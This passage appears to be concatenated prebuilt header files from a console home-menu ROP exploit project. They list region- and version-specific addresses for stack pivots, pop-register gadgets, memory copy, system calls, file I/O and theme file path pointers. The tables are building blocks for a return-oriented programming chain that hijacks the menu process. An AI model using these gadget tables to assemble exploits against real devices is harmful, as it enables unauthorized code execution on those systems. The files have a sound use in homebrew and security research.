47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037d8
48 | #define ORIGINALOBJPTR_BASELOADADR 0x002f1820
49 | #define NSS_LaunchTitle 0x0020e6a8
50 | #define NSS_RebootSystem 0x00139874
51 | #define GSPGPU_Shutdown 0x0011da58
52 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x002f2534
53 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x002f2538
54 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/12288:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7cc
 4 | #define POP_R1PC 0x00214988
 5 | #define POP_R3PC 0x0010f7e4
 6 | #define POP_R2R6PC 0x00150160
 7 | #define POP_R4LR_BXR1 0x0011dda4
 8 | #define POP_R4R8LR_BXR2 0x00136d5c
 9 | #define POP_R4R5R6PC 0x0010d530
10 | #define POP_R4FPPC 0x0010e368
11 | #define POP_R4R8PC 0x0010d660
12 | 
13 | #define ROP_STR_R1TOR0 0x0011dd5c
14 | #define ROP_STR_R0TOR1 0x00112308
15 | #define ROP_LDR_R0FROMR0 0x0010efe8
16 | #define ROP_ADDR0_TO_R1 0x0012e708
17 | 
18 | #define MEMCPY 0x00214ea4
19 | #define MEMSET32_OTHER 0x00210db4
20 | 
21 | #define svcControlMemory 0x00212d88
22 | #define svcSleepThread 0x0012e64c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014d558
25 | #define GSPGPU_SERVHANDLEADR 0x002fded8
26 | 
27 | #define IFile_Read 0x00209e0c
28 | #define IFile_Write 0x001fe77c
29 | 
30 | #define POP_R0PC 0x001575ac
31 | #define ROP_LDRR1R1_STRR1R0 0x001f1e7c
32 | #define ROP_CMPR0R1 0x0027e344
33 | #define ROP_INITOBJARRAY 0x0020a3a5
34 | #define svcCreateThread 0x0010e630
35 | #define svcConnectToPort 0x0011c544
36 | #define svcGetProcessId 0x0012e630
37 | #define SRV_GETSERVICEHANDLE 0x00212de0
38 | #define CFGIPC_SecureInfoGetRegion 0x00139d0c
39 | #define ROP_COND_THROWFATALERR 0x001028dc
40 | #define GXLOW_CMD4 0x0014d65c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00146e8c
42 | #define FS_MountSdmc 0x0011c9b4
43 | #define IFile_Open 0x00209f20
44 | #define IFile_Close 0x0020c148
45 | #define IFile_Seek 0x001fefb0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b64c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037d8
48 | #define ORIGINALOBJPTR_BASELOADADR 0x002f0820
49 | #define NSS_LaunchTitle 0x0020e640
50 | #define NSS_RebootSystem 0x00139874
51 | #define GSPGPU_Shutdown 0x0011da58
52 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x002f1534
53 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x002f1538
54 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/13313:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7cc
 4 | #define POP_R1PC 0x00213b70
 5 | #define POP_R3PC 0x0010f7e4
 6 | #define POP_R2R6PC 0x0014fad0
 7 | #define POP_R4LR_BXR1 0x0011dda4
 8 | #define POP_R4R8LR_BXR2 0x00136850
 9 | #define POP_R4R5R6PC 0x0010d530
10 | #define POP_R4FPPC 0x0010e368
11 | #define POP_R4R8PC 0x0010d660
12 | 
13 | #define ROP_STR_R1TOR0 0x0011dd5c
14 | #define ROP_STR_R0TOR1 0x00112308
15 | #define ROP_LDR_R0FROMR0 0x0010efe8
16 | #define ROP_ADDR0_TO_R1 0x0012e240
17 | 
18 | #define MEMCPY 0x0021408c
19 | #define MEMSET32_OTHER 0x0020ff9c
20 | 
21 | #define svcControlMemory 0x00211f70
22 | #define svcSleepThread 0x0012e184
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014cec8
25 | #define GSPGPU_SERVHANDLEADR 0x002fced8
26 | 
27 | #define IFile_Read 0x00208ff4
28 | #define IFile_Write 0x001fd49c
29 | 
30 | #define POP_R0PC 0x00156f1c
31 | #define ROP_LDRR1R1_STRR1R0 0x001f0a2c
32 | #define ROP_CMPR0R1 0x0027d2b8
33 | #define ROP_INITOBJARRAY 0x0020958d
34 | #define svcCreateThread 0x0010e630
35 | #define svcConnectToPort 0x0011c544
36 | #define svcGetProcessId 0x0012e168
37 | #define SRV_GETSERVICEHANDLE 0x00211fc8
38 | #define CFGIPC_SecureInfoGetRegion 0x00139800
39 | #define ROP_COND_THROWFATALERR 0x001028dc
40 | #define GXLOW_CMD4 0x0014cfcc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001468bc
42 | #define FS_MountSdmc 0x0011c9b4
43 | #define IFile_Open 0x00209108
44 | #define IFile_Close 0x0020b330
45 | #define IFile_Seek 0x001fdcd0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b64c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037d8
48 | #define ORIGINALOBJPTR_BASELOADADR 0x002ef820
49 | #define NSS_LaunchTitle 0x0020d828
50 | #define NSS_RebootSystem 0x00139368
51 | #define GSPGPU_Shutdown 0x0011da58
52 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x002f0534
53 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x002f0538
54 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/14336:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7cc
 4 | #define POP_R1PC 0x002149f0
 5 | #define POP_R3PC 0x0010f7e4
 6 | #define POP_R2R6PC 0x00150108
 7 | #define POP_R4LR_BXR1 0x0011dda4
 8 | #define POP_R4R8LR_BXR2 0x00136d5c
 9 | #define POP_R4R5R6PC 0x0010d530
10 | #define POP_R4FPPC 0x0010e368
11 | #define POP_R4R8PC 0x0010d660
12 | 
13 | #define ROP_STR_R1TOR0 0x0011dd5c
14 | #define ROP_STR_R0TOR1 0x00112308
15 | #define ROP_LDR_R0FROMR0 0x0010efe8
16 | #define ROP_ADDR0_TO_R1 0x0012e708
17 | 
18 | #define MEMCPY 0x00214f0c
19 | #define MEMSET32_OTHER 0x00210e1c
20 | 
21 | #define svcControlMemory 0x00212df0
22 | #define svcSleepThread 0x0012e64c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014d500
25 | #define GSPGPU_SERVHANDLEADR 0x002feed8
26 | 
27 | #define IFile_Read 0x00209e74
28 | #define IFile_Write 0x001fe7e4
29 | 
30 | #define POP_R0PC 0x00157554
31 | #define ROP_LDRR1R1_STRR1R0 0x001f1ee4
32 | #define ROP_CMPR0R1 0x0027e450
33 | #define ROP_INITOBJARRAY 0x0020a40d
34 | #define svcCreateThread 0x0010e630
35 | #define svcConnectToPort 0x0011c544
36 | #define svcGetProcessId 0x0012e630
37 | #define SRV_GETSERVICEHANDLE 0x00212e48
38 | #define CFGIPC_SecureInfoGetRegion 0x00139d0c
39 | #define ROP_COND_THROWFATALERR 0x001028dc
40 | #define GXLOW_CMD4 0x0014d604
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00146e30
42 | #define FS_MountSdmc 0x0011c9b4
43 | #define IFile_Open 0x00209f88
44 | #define IFile_Close 0x0020c1b0
45 | #define IFile_Seek 0x001ff018
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b64c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037d8
48 | #define ORIGINALOBJPTR_BASELOADADR 0x002f1820
49 | #define NSS_LaunchTitle 0x0020e6a8
50 | #define NSS_RebootSystem 0x00139874
51 | #define GSPGPU_Shutdown 0x0011da58
52 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x002f2534
53 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x002f2538
54 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/15360:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7cc
 4 | #define POP_R1PC 0x00214988
 5 | #define POP_R3PC 0x0010f7e4
 6 | #define POP_R2R6PC 0x00150160
 7 | #define POP_R4LR_BXR1 0x0011dda4
 8 | #define POP_R4R8LR_BXR2 0x00136d5c
 9 | #define POP_R4R5R6PC 0x0010d530
10 | #define POP_R4FPPC 0x0010e368
11 | #define POP_R4R8PC 0x0010d660
12 | 
13 | #define ROP_STR_R1TOR0 0x0011dd5c
14 | #define ROP_STR_R0TOR1 0x00112308
15 | #define ROP_LDR_R0FROMR0 0x0010efe8
16 | #define ROP_ADDR0_TO_R1 0x0012e708
17 | 
18 | #define MEMCPY 0x00214ea4
19 | #define MEMSET32_OTHER 0x00210db4
20 | 
21 | #define svcControlMemory 0x00212d88
22 | #define svcSleepThread 0x0012e64c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014d558
25 | #define GSPGPU_SERVHANDLEADR 0x002fded8
26 | 
27 | #define IFile_Read 0x00209e0c
28 | #define IFile_Write 0x001fe77c
29 | 
30 | #define POP_R0PC 0x001575ac
31 | #define ROP_LDRR1R1_STRR1R0 0x001f1e7c
32 | #define ROP_CMPR0R1 0x0027e344
33 | #define ROP_INITOBJARRAY 0x0020a3a5
34 | #define svcCreateThread 0x0010e630
35 | #define svcConnectToPort 0x0011c544
36 | #define svcGetProcessId 0x0012e630
37 | #define SRV_GETSERVICEHANDLE 0x00212de0
38 | #define CFGIPC_SecureInfoGetRegion 0x00139d0c
39 | #define ROP_COND_THROWFATALERR 0x001028dc
40 | #define GXLOW_CMD4 0x0014d65c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00146e8c
42 | #define FS_MountSdmc 0x0011c9b4
43 | #define IFile_Open 0x00209f20
44 | #define IFile_Close 0x0020c148
45 | #define IFile_Seek 0x001fefb0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b64c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037d8
48 | #define ORIGINALOBJPTR_BASELOADADR 0x002f0820
49 | #define NSS_LaunchTitle 0x0020e640
50 | #define NSS_RebootSystem 0x00139874
51 | #define GSPGPU_Shutdown 0x0011da58
52 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x002f1534
53 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x002f1538
54 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/11272:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7cc
 4 | #define POP_R1PC 0x002149f0
 5 | #define POP_R3PC 0x0010f7e4
 6 | #define POP_R2R6PC 0x00150108
 7 | #define POP_R4LR_BXR1 0x0011dda4
 8 | #define POP_R4R8LR_BXR2 0x00136d5c
 9 | #define POP_R4R5R6PC 0x0010d530
10 | #define POP_R4FPPC 0x0010e368
11 | #define POP_R4R8PC 0x0010d660
12 | 
13 | #define ROP_STR_R1TOR0 0x0011dd5c
14 | #define ROP_STR_R0TOR1 0x00112308
15 | #define ROP_LDR_R0FROMR0 0x0010efe8
16 | #define ROP_ADDR0_TO_R1 0x0012e708
17 | 
18 | #define MEMCPY 0x00214f0c
19 | #define MEMSET32_OTHER 0x00210e1c
20 | 
21 | #define svcControlMemory 0x00212df0
22 | #define svcSleepThread 0x0012e64c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014d500
25 | #define GSPGPU_SERVHANDLEADR 0x002feed8
26 | 
27 | #define IFile_Read 0x00209e74
28 | #define IFile_Write 0x001fe7e4
29 | 
30 | #define POP_R0PC 0x00157554
31 | #define ROP_LDRR1R1_STRR1R0 0x001f1ee4
32 | #define ROP_CMPR0R1 0x0027e450
33 | #define ROP_INITOBJARRAY 0x0020a40d
34 | #define svcCreateThread 0x0010e630
35 | #define svcConnectToPort 0x0011c544
36 | #define svcGetProcessId 0x0012e630
37 | #define SRV_GETSERVICEHANDLE 0x00212e48
38 | #define CFGIPC_SecureInfoGetRegion 0x00139d0c
39 | #define ROP_COND_THROWFATALERR 0x001028dc
40 | #define GXLOW_CMD4 0x0014d604
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00146e30
42 | #define FS_MountSdmc 0x0011c9b4
43 | #define IFile_Open 0x00209f88
44 | #define IFile_Close 0x0020c1b0
45 | #define IFile_Seek 0x001ff018
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b64c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037d8
48 | #define ORIGINALOBJPTR_BASELOADADR 0x002f1820
49 | #define NSS_LaunchTitle 0x0020e6a8
50 | #define NSS_RebootSystem 0x00139874
51 | #define GSPGPU_Shutdown 0x0011da58
52 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x002f2534
53 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x002f2538
54 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/12288:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7cc
 4 | #define POP_R1PC 0x00214988
 5 | #define POP_R3PC 0x0010f7e4
 6 | #define POP_R2R6PC 0x00150160
 7 | #define POP_R4LR_BXR1 0x0011dda4
 8 | #define POP_R4R8LR_BXR2 0x00136d5c
 9 | #define POP_R4R5R6PC 0x0010d530
10 | #define POP_R4FPPC 0x0010e368
11 | #define POP_R4R8PC 0x0010d660
12 | 
13 | #define ROP_STR_R1TOR0 0x0011dd5c
14 | #define ROP_STR_R0TOR1 0x00112308
15 | #define ROP_LDR_R0FROMR0 0x0010efe8
16 | #define ROP_ADDR0_TO_R1 0x0012e708
17 | 
18 | #define MEMCPY 0x00214ea4
19 | #define MEMSET32_OTHER 0x00210db4
20 | 
21 | #define svcControlMemory 0x00212d88
22 | #define svcSleepThread 0x0012e64c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014d558
25 | #define GSPGPU_SERVHANDLEADR 0x002fded8
26 | 
27 | #define IFile_Read 0x00209e0c
28 | #define IFile_Write 0x001fe77c
29 | 
30 | #define POP_R0PC 0x001575ac
31 | #define ROP_LDRR1R1_STRR1R0 0x001f1e7c
32 | #define ROP_CMPR0R1 0x0027e344
33 | #define ROP_INITOBJARRAY 0x0020a3a5
34 | #define svcCreateThread 0x0010e630
35 | #define svcConnectToPort 0x0011c544
36 | #define svcGetProcessId 0x0012e630
37 | #define SRV_GETSERVICEHANDLE 0x00212de0
38 | #define CFGIPC_SecureInfoGetRegion 0x00139d0c
39 | #define ROP_COND_THROWFATALERR 0x001028dc
40 | #define GXLOW_CMD4 0x0014d65c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00146e8c
42 | #define FS_MountSdmc 0x0011c9b4
43 | #define IFile_Open 0x00209f20
44 | #define IFile_Close 0x0020c148
45 | #define IFile_Seek 0x001fefb0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b64c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037d8
48 | #define ORIGINALOBJPTR_BASELOADADR 0x002f0820
49 | #define NSS_LaunchTitle 0x0020e640
50 | #define NSS_RebootSystem 0x00139874
51 | #define GSPGPU_Shutdown 0x0011da58
52 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x002f1534
53 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x002f1538
54 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/13330:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x002262bc
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512c4
 7 | #define POP_R4LR_BXR1 0x0011df68
 8 | #define POP_R4R8LR_BXR2 0x00133f8c
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df20
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b64c
17 | 
18 | #define MEMCPY 0x002267d8
19 | #define MEMSET32_OTHER 0x00222784
20 | 
21 | #define svcControlMemory 0x002246d4
22 | #define svcSleepThread 0x0012b590
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab98
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218b3c
28 | #define IFile_Write 0x0020d098
29 | 
30 | #define POP_R0PC 0x00154f0c
31 | #define ROP_LDRR1R1_STRR1R0 0x002003bc
32 | #define ROP_CMPR0R1 0x002946ac
33 | #define ROP_INITOBJARRAY 0x002190c5
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c65c
36 | #define svcGetProcessId 0x0012b574
37 | #define SRV_GETSERVICEHANDLE 0x0022472c
38 | #define CFGIPC_SecureInfoGetRegion 0x00136ea4
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac9c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143ce4
42 | #define FS_MountSdmc 0x0011cacc
43 | #define IFile_Open 0x00218c3c
44 | #define IFile_Close 0x0021dcdc
45 | #define IFile_Seek 0x0020d844
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fd0c
50 | #define NSS_LaunchTitle 0x0022024c
51 | #define NSS_RebootSystem 0x00136a0c
52 | #define GSPGPU_Shutdown 0x0011dc1c
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/14336:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x0022629c
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512c4
 7 | #define POP_R4LR_BXR1 0x0011df68
 8 | #define POP_R4R8LR_BXR2 0x00133f8c
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df20
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b64c
17 | 
18 | #define MEMCPY 0x002267b8
19 | #define MEMSET32_OTHER 0x00222764
20 | 
21 | #define svcControlMemory 0x002246b4
22 | #define svcSleepThread 0x0012b590
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab98
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218b1c
28 | #define IFile_Write 0x0020d098
29 | 
30 | #define POP_R0PC 0x00154f0c
31 | #define ROP_LDRR1R1_STRR1R0 0x002003bc
32 | #define ROP_CMPR0R1 0x002946d0
33 | #define ROP_INITOBJARRAY 0x002190a5
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c65c
36 | #define svcGetProcessId 0x0012b574
37 | #define SRV_GETSERVICEHANDLE 0x0022470c
38 | #define CFGIPC_SecureInfoGetRegion 0x00136ea4
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac9c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143ce4
42 | #define FS_MountSdmc 0x0011cacc
43 | #define IFile_Open 0x00218c1c
44 | #define IFile_Close 0x0021dcbc
45 | #define IFile_Seek 0x0020d844
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fcec
50 | #define NSS_LaunchTitle 0x0022022c
51 | #define NSS_RebootSystem 0x00136a0c
52 | #define GSPGPU_Shutdown 0x0011dc1c
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/15360:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x00226264
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512b4
 7 | #define POP_R4LR_BXR1 0x0011df5c
 8 | #define POP_R4R8LR_BXR2 0x00133f80
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df14
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b640
17 | 
18 | #define MEMCPY 0x00226780
19 | #define MEMSET32_OTHER 0x0022272c
20 | 
21 | #define svcControlMemory 0x0022467c
22 | #define svcSleepThread 0x0012b584
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab88
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218aa8
28 | #define IFile_Write 0x0020d024
29 | 
30 | #define POP_R0PC 0x00154ef0
31 | #define ROP_LDRR1R1_STRR1R0 0x002003a0
32 | #define ROP_CMPR0R1 0x00294698
33 | #define ROP_INITOBJARRAY 0x00219031
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c650
36 | #define svcGetProcessId 0x0012b568
37 | #define SRV_GETSERVICEHANDLE 0x002246d4
38 | #define CFGIPC_SecureInfoGetRegion 0x00136e98
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac8c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143cd8
42 | #define FS_MountSdmc 0x0011cac0
43 | #define IFile_Open 0x00218ba8
44 | #define IFile_Close 0x0021dc48
45 | #define IFile_Seek 0x0020d7d0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fcb4
50 | #define NSS_LaunchTitle 0x002201b8
51 | #define NSS_RebootSystem 0x00136a00
52 | #define GSPGPU_Shutdown 0x0011dc10
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/16402:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x002262bc
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512c4
 7 | #define POP_R4LR_BXR1 0x0011df68
 8 | #define POP_R4R8LR_BXR2 0x00133f8c
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df20
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b64c
17 | 
18 | #define MEMCPY 0x002267d8
19 | #define MEMSET32_OTHER 0x00222784
20 | 
21 | #define svcControlMemory 0x002246d4
22 | #define svcSleepThread 0x0012b590
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab98
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218b3c
28 | #define IFile_Write 0x0020d098
29 | 
30 | #define POP_R0PC 0x00154f0c
31 | #define ROP_LDRR1R1_STRR1R0 0x002003bc
32 | #define ROP_CMPR0R1 0x002946ac
33 | #define ROP_INITOBJARRAY 0x002190c5
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c65c
36 | #define svcGetProcessId 0x0012b574
37 | #define SRV_GETSERVICEHANDLE 0x0022472c
38 | #define CFGIPC_SecureInfoGetRegion 0x00136ea4
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac9c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143ce4
42 | #define FS_MountSdmc 0x0011cacc
43 | #define IFile_Open 0x00218c3c
44 | #define IFile_Close 0x0021dcdc
45 | #define IFile_Seek 0x0020d844
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fd0c
50 | #define NSS_LaunchTitle 0x0022024c
51 | #define NSS_RebootSystem 0x00136a0c
52 | #define GSPGPU_Shutdown 0x0011dc1c
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/17408:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x0022629c
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512c4
 7 | #define POP_R4LR_BXR1 0x0011df68
 8 | #define POP_R4R8LR_BXR2 0x00133f8c
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df20
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b64c
17 | 
18 | #define MEMCPY 0x002267b8
19 | #define MEMSET32_OTHER 0x00222764
20 | 
21 | #define svcControlMemory 0x002246b4
22 | #define svcSleepThread 0x0012b590
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab98
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218b1c
28 | #define IFile_Write 0x0020d098
29 | 
30 | #define POP_R0PC 0x00154f0c
31 | #define ROP_LDRR1R1_STRR1R0 0x002003bc
32 | #define ROP_CMPR0R1 0x002946d0
33 | #define ROP_INITOBJARRAY 0x002190a5
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c65c
36 | #define svcGetProcessId 0x0012b574
37 | #define SRV_GETSERVICEHANDLE 0x0022470c
38 | #define CFGIPC_SecureInfoGetRegion 0x00136ea4
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac9c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143ce4
42 | #define FS_MountSdmc 0x0011cacc
43 | #define IFile_Open 0x00218c1c
44 | #define IFile_Close 0x0021dcbc
45 | #define IFile_Seek 0x0020d844
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fcec
50 | #define NSS_LaunchTitle 0x0022022c
51 | #define NSS_RebootSystem 0x00136a0c
